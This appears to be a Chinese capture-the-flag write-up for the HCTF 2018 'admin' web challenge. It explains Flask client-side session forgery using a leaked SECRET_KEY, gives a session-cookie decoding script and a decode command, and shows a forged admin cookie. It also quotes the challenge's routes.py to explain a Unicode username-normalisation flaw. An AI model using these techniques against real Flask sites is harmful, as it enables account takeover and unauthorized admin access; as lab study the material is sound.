buuctf--web--[HCTF 2018]admin

先熟悉下网站,有这些功能:注册、登录、上传文章、修改密码、登出、无法注册admin,不能注册admin账户源码有提示
buuctf--web--[HCTF 2018]admin_第1张图片注册一个admin账号,失败了,提示注册失败
buuctf--web--[HCTF 2018]admin_第2张图片尝试注册界面看看有没有注入
username=1’–+
buuctf--web--[HCTF 2018]admin_第3张图片大佬说有三种解法

flask session 伪造
unicode欺骗
条件竞争

flask session伪造

flask 源码解析:session

客户端 session 导致的安全问题

flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。

还是得多看源代码,修改密码部分有源代码的网址
buuctf--web--[HCTF 2018]admin_第4张图片下载源码
buuctf--web--[HCTF 2018]admin_第5张图片注册一个账号,然后登录后获得session
buuctf--web--[HCTF 2018]admin_第6张图片session:".eJw9kEGLwjAQhf_KMmcPNtWL4GElUirMhLqtZXIRt1bbpHHZqlQj_vcNLsgc38z73psHbA99fW5gdumv9Qi27R5mD_j4hhmwzyIlqeMyG0jiWMniTiKLtcluKMLISmBSCPJdh54jcuzRVBPyaaRdMeV86VEuWjY40fmiwWTVoqNGJSxIkkXTWRa65ZyacCnQYYyBE_Ycm6bFcnlDbz25jSGzNrpcW3KrRsllYBQ39vauko3l_DiH5wiqc3_YXn5sfXpXQIvuDrP7kqi4DINkdIYzVGQ2Vst0ynJgHM8kK8GdMVYfc5fdq3bHeu305ed_hbDv3LauSBAJGIYwfVc96vQRTB8w82LmwS.Xr3kKA.wK7TeyCJ_MO5u-J9l7s0t9lQ0t4"

通过脚本将session解密一下:

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

想要伪造session我们还需要SECRET_KEY,在config.py里可以找到key

import os

class Config(object):
    **SECRET_KEY** = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

将session进行解密

python flask_session_cookie_manager3.py decode -s "ckj123" -c ".eJw9kEGLwjAUhP_KkrOHNnYvgodKusXCS6iklvcu4mrd5rVxoSrViP99i4c9zsB8zMxT7E5Dc2nF4jrcmpnYuaNYPMXHt1gIUF0wNo2RcUTbO7RZRLZtiY8OWbcYskB-4zBUI4TqYfIsMXbrjCofWlajtoeRFEQYIAbWTH7yJASQmx44jbTMIqzLOdl0JF51xOsACh960sYWHTBKo9JPsKte-w2DJ0e-lFhnd-RqnHKJVj1DjUvxmonDZTjtrr9dc_6foPMtk_oJJi_nui6Yphpg13etihZk0ZLaOsq_GFQZjDokYFOJ5fKNO-99MyH2R-_OsZiJ26UZ3veIOBavPwJ9ZlU.Xhpxig.hIQoJq3OWXbaekJ3fHF0Tl1cQPQ"

获得

{'_fresh': True, '_id': b'093905b60a9ba14e8af7bb3ac13fdbc503528a895b8427e0570d34c3523cfe07c33de2047a4ad7e00f0df2306250092d26680910e6dc2fbfd6aa1b50e0849c1f', 'csrf_token': b'4ecd838d75bcf3c12142a3bad5bdac043878106a', 'name': 'admin1', 'user_id': '11'}

index.html

{% include('header.html') %} {% if current_user.is_authenticated %}
Hello {{ session['name'] }}
{% endif %} {% if current_user.is_authenticated and session['name'] == 'admin' %}//获取session的条件
hctf{xxxxxxxxx}
{% endif %}
Welcome to hctf
{% include('footer.html') %} 
config.py

需要session name为admin时可以显示flag

再加密后替换cookie,将其中的admin1修改为admin,再使用flask_session_cookie_manager进行编码可得伪造后的session

.eJw9kEGLwjAUhP_KkrOHNnYvgodKusXCS6iklvcu4mrd5rVxoSrViP99i4c9zsB8zMxT7E5Dc2nF4jrcmpnYuaNYPMXHt1gIUF0wNo2RcUTbO7RZRLZtiY8OWbcYskB-4zBUI4TqYfIsMXbrjCofWlajtoeRFEQYIAbWTH7yJASQmx44jbTMIqzLOdl0JF51xOsACh960sYWHTBKo9JPsKte-w2DJ0e-lFhnd-RqnHKJVj1DjUvxmonDZTjtrr9dc_6foPMtk_oJJi_nui6Yphpg13etihZk0ZLaOsq_GFQZjDokYFOJ5fKNO-99MyH2R-_OYiZul2Z4vyPiWLz-AJ2yZiQ.XhqBtg.lLXBoac_fjTFLmMF5T4b90nw3rM

将其复制后重放,即可得到flag

Unicode欺骗

仔细观察路由routes.py

#!/usr/bin/env python
# -*- coding:utf-8 -*-

from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code

@app.route('/code')
def get_code():
    image, code = get_verify_code()
    # 图片以二进制形式写入
    buf = BytesIO()
    image.save(buf, 'jpeg')
    buf_str = buf.getvalue()
    # 把buf_str作为response返回前端,并设置首部字段
    response = make_response(buf_str)
    response.headers['Content-Type'] = 'image/gif'
    # 将验证码字符串储存在session中
    session['image'] = code
    return response

@app.route('/')
@app.route('/index')
def index():
    return render_template('index.html', title = 'hctf')

@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
    logout_user()
    return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

@app.route('/edit', methods = ['GET', 'POST'])//在修改密码的时候先将name转成小写
def edit():
    if request.method == 'POST':
        
        flash('post successful')
        return redirect(url_for('index'))
    return render_template('edit.html', title = 'edit')

@app.errorhandler(404)
def page_not_found(error):
    title = unicode(error)
    message = error.description
    return render_template('errors.html', title=title, message=message)

def strlower(username):
    username = nodeprep.prepare(username)
    return username

重定义了strlower函数,使用nodeprep.prepare进行转换
buuctf--web--[HCTF 2018]admin_第7张图片
buuctf--web--[HCTF 2018]admin_第8张图片buuctf--web--[HCTF 2018]admin_第9张图片buuctf--web--[HCTF 2018]admin_第10张图片

你可能感兴趣的:(CTF)